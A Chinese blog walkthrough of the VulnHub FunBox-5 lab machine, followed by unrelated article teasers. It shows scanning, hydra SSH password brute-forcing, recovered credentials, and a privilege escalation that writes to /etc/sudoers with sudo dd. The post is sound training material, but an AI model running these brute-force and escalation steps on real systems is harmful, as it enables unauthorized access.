vulnhub靶场之FunBox-5

一.环境搭建
1.靶场描述
Lets separate the script-kids from script-teenies.Hint: The first impression is not always the right one!If you need hints, call me on twitter: @0815R2d2 Have fun...This works better with VirtualBox rather than VMwareThis works better with VirtualBox rather than VMware.
2.靶场下载
https://www.vulnhub.com/entry/funbox-next-level,547/

3.靶场启动

二.信息收集
1.探测IP地址
nmap -sP 192.168.2.0/24

arp-scan -l

我们探测出来IP地址为192.168.2.8
2.探测端口及服务
nmap -p- -sV 192.168.2.8

开启了80端口,服务为Apache2
开启了22端口,服务为ssh
通过端口我们可以知道,又是ssh登录
三.渗透测试
1.访问web服务
http://192.168.2.8

可以看到是一个apache2页面
2.扫描web服务
1)nikto扫描网站结构
nikto -h http://192.168.2.8

扫描到一个robots.txt敏感目录
2)dirsearch扫描
这里IP地址变为192.168.2.9
dirsearch -u http://192.168.2.9 -e * -x 403 --random-agent

扫描出来一个http://192.168.2.9/drupal
3)dirb扫描
dirb http://192.168.2.9

3.渗透测试
1)访问robots.txt
http://192.168.2.9/robots.txt

http://192.168.2.9/Thinking

没有任何有用的信息
2)访问drupal目录
http://192.168.2.9/drupal

我们发现重定向了192.168.178.33,没有什么用,我们进行扫描drupal试试

我们可以看到cms是wordpress,那么我们使用wpscan进行爆破,因为开启了22端口,我们可以进行ssh登录
3)wpscan爆破
wpscan –url http://192.168.2.9/drupal/index.php –wp-content-dir=http://192.168.2.8/drupal/wp-content/ -e

我们可以看到爆破出来2个用户名,一个是admin,一个是ben
4)hydra爆破
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.9

我们可以看到爆破不出来,那么我们爆破另一个
hydra -l ben -P /usr/share/wordlists/rockyou.txt ssh://192.168.2.9

爆破出来密码是pookie
5)ssh登录
ssh ben@192.168.2.9

我们可以看到登录成功
我们在根目录下可以看到mail目录,但是里面的文件我们没有权限查看


提权也提权不了,我们换一个思路
6)邮件服务
发现 ben 用户在 mail 组中 会不会有邮件发服务呢 netstart -anpt

我们可以看到110端口是开放的吗,我们使用110端口进行查看
现存在邮件服务 通过110端口 连接本地 telnet 127.0.0.1 110发现可以, 而且有三封信 发现账号密码:adam/qwedsayxc!



我们使用adam进行登录
ssh adam@192.168.2.9

我们可以看到登录成功
7)提权
切换用户查看权限 id发现在sudo组 查看sudo -l发现了dd,de,df都可以sudo提权 只有dd可以使用

提权方法查询网站:GTFOBins

该命令可以写入具有root权限的文件,执行命令进行写入文件/etc/sudoers,设置adam用户具有全部的特权命令
LFILE=/etc/sudoers
echo "adam ALL=(ALL:ALL) ALL" | sudo dd of=$LFILE

可以使用find命令进行提权,提权成功

获取flag

至此获取到了所有得flag,渗透测试结束。
相关文章:
vulnhub靶场之FunBox-5
一.环境搭建 1.靶场描述 Lets separate the script-kids from script-teenies.Hint: The first impression is not always the right one!If you need hints, call me on twitter: 0815R2d2 Have fun...This works better with VirtualBox rather than VMwareThis works bett…...
1分钟搞定Pandas DataFrame创建与索引
1.DataFrame介绍 DataFrame 是一个【表格型】的数据结构,可以看作是【由Series组成的字典】(共用同一个索引)。DataFrame 由按一定顺序排列的多列数据组成。设计初衷是将 Series 的使用场景从一维扩展到多维。DataFrame 既有行索引ÿ…...
【贪心算法】哈夫曼编码Python实现
文章目录 [toc]哈夫曼编码不同编码方式对比前缀码构造哈夫曼编码哈夫曼算法的正确性贪心选择性质证明 最优子结构性质证明 总结 Python实现时间复杂性 哈夫曼编码 哈夫曼编码是广泛用于数据文件压缩的十分有效的编码方法,其压缩率通常为 20 % 20\% 20%到 90 % 90\%…...
【RAG 博客】RAG 应用中的 Routing
Blog:Routing in RAG-Driven Applications ⭐⭐⭐⭐ 根据用户的查询意图,在 RAG 程序内部使用 “Routing the control flow” 可以帮助我们构建更实用强大的 RAG 程序。路由模块的关键实现就是一个 Router,它根据 user query 的查询意图&…...
鸿蒙ArkUI:【编程范式:命令式->声明式】
命令式 简单讲就是需要开发用代码一步一步进行布局,这个过程需要开发全程参与。 开发前请熟悉鸿蒙开发指导文档:gitee.com/li-shizhen-skin/harmony-os/blob/master/README.md点击或者复制转到。 Objective-C ObjectiveC 复制代码 UIView *cardView …...
【练习2】
1.汽水瓶 ps:注意涉及多个输入,我就说怎么老不对,无语~ #include <cmath> #include <iostream> using namespace std;int main() {int n;int num,flag,kp,temp;while (cin>>n) {flag1;num0;temp0;kpn;while (flag1) {if(kp<2){if(…...
oracle 新_多种块大小的支持9i
oracle 新_多种块大小的支持 conn sys/sys as sysdba SHOW PARAMETER CACHE ALTER SYSTEM SET DB_CACHE_SIZE16M; ALTER SYSTEM SET DB_4K_CACHE_SIZE8M; CREATE TABLESPACE K4 DATAFILE F:\ORACLE\ORADATA\ZL9\K4.DBF SIZE 2M BLOCKSIZE 4K; CREATE TABLE SCOTT.A1 TABLESP…...
Collections工具类
类java.util.Collections提供了对Set、List、Map进行排序、填充、查找元素的辅助方法。 方法名说明void sort(List)对List容器内的元素排序,排序规则是升序void shuffle(List)对List容器内的元素进行随机排列void reverse(List)对List容器内的元素进行逆序排列void…...
java-函数式编程-jdk
背景 函数式接口很简单,但是不是每一个函数式接口都需要我们自己来写jdk 根据 有无参数,有无返回值,参数的个数和类型,返回值的类型 提前定义了一些通用的函数式接口 IntPredicate 参数:有一个,类型是int类…...
qiankun实现微前端,vue3为主应用,分别引入vue2和vue3微应用
1、vue3主应用配置 1、安装 qiankun yarn add qiankun # 或者 npm i qiankun -S2、在主应用中注册微应用 import { registerMicroApps, start } from "qiankun" const apps [{ name: vue2App, // 应用名称 xs_yiqing_vue2entry: //localhost:8080, // vue 应用…...
写了 1000 条 Prompt 之后,我总结出了这 9 个框架【建议收藏】
如果你对于写 Prompt 有点无从下手,那么,本文将为你带来 9 个快速编写 Prompt 的框架,你可以根据自己的需求,选择任意一个框架,填入指定的内容,即可以得到一段高效的 Prompt,让 LLM 给你准确满意…...
事件代理 浅谈
事件代理是一种将事件处理委托给父元素或祖先元素来管理的技术。当子元素触发特定事件时,该事件不会直接在子元素上进行处理,而是会冒泡到父元素或祖先元素,并在那里进行处理。这样做的好处是可以减少事件处理函数的数量,提高性能…...
一对多在线教育系统,疫情后,在线教育有哪些变革?
疫情期间,全面开展的在线教育经历了从不适应到认可投入并常态化的发展过程。如何发挥在线教学优势,深度融合线上与线下教育,将在线教育作为育人方式变革动力,提升育人服务水平,是复学复课后学校教育教学面临的关键问题…...
RabbitMQ(安装配置以及与SpringBoot整合)
文章目录 1.基本介绍2.Linux下安装配置RabbitMQ1.安装erlang环境1.将文件上传到/opt目录下2.进入/opt目录下,然后安装 2.安装RabbitMQ1.进入/opt目录,安装所需依赖2.安装MQ 3.基本配置1.启动MQ2.查看MQ状态3.安装web管理插件4.安装web管理插件超时的解决…...
JUC下的BlockingQueue详解
BlockingQueue是Java并发包(java.util.concurrent)中提供的一个接口,它扩展了Queue接口,增加了阻塞功能。这意味着当队列满时尝试入队操作,或者队列空时尝试出队操作,线程会进入等待状态,直到队列状态允许操作继续。这…...
ChatGPT理论分析
ChatGPT "ChatGPT"是一个基于GPT(Generative Pre-trained Transformer)架构的对话系统。GPT 是一个由OpenAI 开发的自然语言处理(NLP)模型,它使用深度学习来生成文本。以下是对ChatGPT进行理论分析的几个主…...
算法提高之魔板
算法提高之魔板 核心思想:最短路模型 将所有状态存入队列 更新步数 同时记录前驱状态 #include <iostream>#include <cstring>#include <algorithm>#include <unordered_map>#include <queue>using namespace std;string start&qu…...
服务器内存占用不足会怎么样,解决方案
在当今数据驱动的时代,服务器对于我们的工作和生活起着举足轻重的作用。而在众多影响服务器性能的关键因素当中,内存扮演着极其重要的角色。 服务器内存,也称RAM(Random Access Memory),是服务器核心硬件部…...
elasticsearch文档读写原理大致分析一下
文档写简介 客户端通过hash选择一个node发送请求,专业术语叫做协调节点 协调节点会对document进行路由,将请求转发给对应的primary shard primary shard在处理完数据后,会将document 同步到所有replica shard 协调节点将处理结果返回给…...
1 开发环境
开发环境(platformio python arduino框架)的搭建可以参考b站upESP32超详细教程-使用VSCode(基于Arduino框架)哔哩哔哩bilibili 这里推荐离线安装esp32库文件,要不然要等很久(b站教程很多) 搭…...
从零构建Firefly-RK3399的Ubuntu系统:镜像定制、内核编译与固件打包全流程
1. 为什么需要从零构建Firefly-RK3399的Ubuntu系统? 第一次拿到Firefly-RK3399开发板时,我也像大多数人一样直接刷写官方镜像。但很快就遇到瓶颈——预装系统缺少我需要的开发工具,内核版本不支持某些硬件特性,甚至系统分区方案都…...
MVDR算法在5G毫米波基站中的实战:如何用Capon波束形成提升用户侧向精度?
MVDR算法在5G毫米波基站中的实战:如何用Capon波束形成提升用户侧向精度? 毫米波频段作为5G网络的关键技术支柱,其大规模MIMO系统的波束管理能力直接决定了用户体验。当基站需要同时服务多个移动终端时,传统数字波束形成࿰…...
[具身智能-641]:无论是音频流,还是视频流,还是激光雷达的点云数据流,还是IMU信号流等,所有这些传感器的原始信号,基本上都是时域的连续信号,区别不过是通道数和反应的物理量不同而已。
这句话是站到多传感器融合、时序信号处理的顶层视角,完全通透、本质直击。我们给你把这套认知系统化固化,以后所有传感器、流媒体全统一成一套底层逻辑:1. 终极统一结论所有传感器原始输出,本质全都是:带时间轴的连续时…...
Navicat Mac版终极重置指南:3种简单方法无限延长14天试用期
Navicat Mac版终极重置指南:3种简单方法无限延长14天试用期 【免费下载链接】navicat_reset_mac navicat mac版无限重置试用期脚本 Navicat Mac Version Unlimited Trial Reset Script 项目地址: https://gitcode.com/gh_mirrors/na/navicat_reset_mac Navic…...
利用AI生成专业README:告别文档焦虑,提升项目协作效率
1. 项目概述:告别文档焦虑,用AI生成专业README每次新建一个项目,或者接手一个半成品,最头疼的是什么?对我而言,除了写代码本身,就是面对那个空荡荡的README.md文件。我知道它很重要——它是项目…...
AI专著写作大揭秘!实测4款工具,一键生成20万字专著不是梦
对于学术研究者来说,撰写一部学术专著并不是短时间的灵感迸发,而是一场漫长的“持久战”。从选题的构思开始,到逻辑严谨的章节框架,再到每个段落的内容填充和文献的引用校验,每个步骤都充满了挑战。研究者需要在繁忙的…...
从零搭建Nios II软核:基于Quartus II 18.1与Platform Designer的Qsys实战指南
1. 环境准备与工程创建 第一次接触FPGA软核开发的朋友,建议先准备好以下环境。我用的Quartus II 18.1标准版,搭配Cyclone IV E系列FPGA开发板。安装时记得勾选Nios II EDS组件,这个后面调试会用到。实测发现,如果漏装这个组件&…...
Home Assistant全能AI管家Amira:自然语言控制与自动化编排实战
1. 项目概述:Amira,一个为Home Assistant而生的全能AI管家 如果你和我一样,是个深度折腾Home Assistant的玩家,那你肯定也经历过这样的场景:想创建一个复杂的自动化,却要反复查阅YAML语法;想调整…...
BooruDatasetTagManager:AI训练数据标注的终极指南,10倍效率提升的秘密
BooruDatasetTagManager:AI训练数据标注的终极指南,10倍效率提升的秘密 【免费下载链接】BooruDatasetTagManager 项目地址: https://gitcode.com/gh_mirrors/bo/BooruDatasetTagManager 你是否曾为AI模型训练准备数据集而感到头疼?面…...
开源OPC UA平台深度解析:从架构设计到工业物联网实战
1. 项目概述与核心价值最近在工业自动化圈子里,一个名为zxs1633079383/opc-platform的开源项目引起了我的注意。乍一看这个标题,很多朋友可能会觉得这又是一个“轮子”,毕竟OPC相关的库和平台已经不少了。但当我深入探究其代码结构和设计理念…...
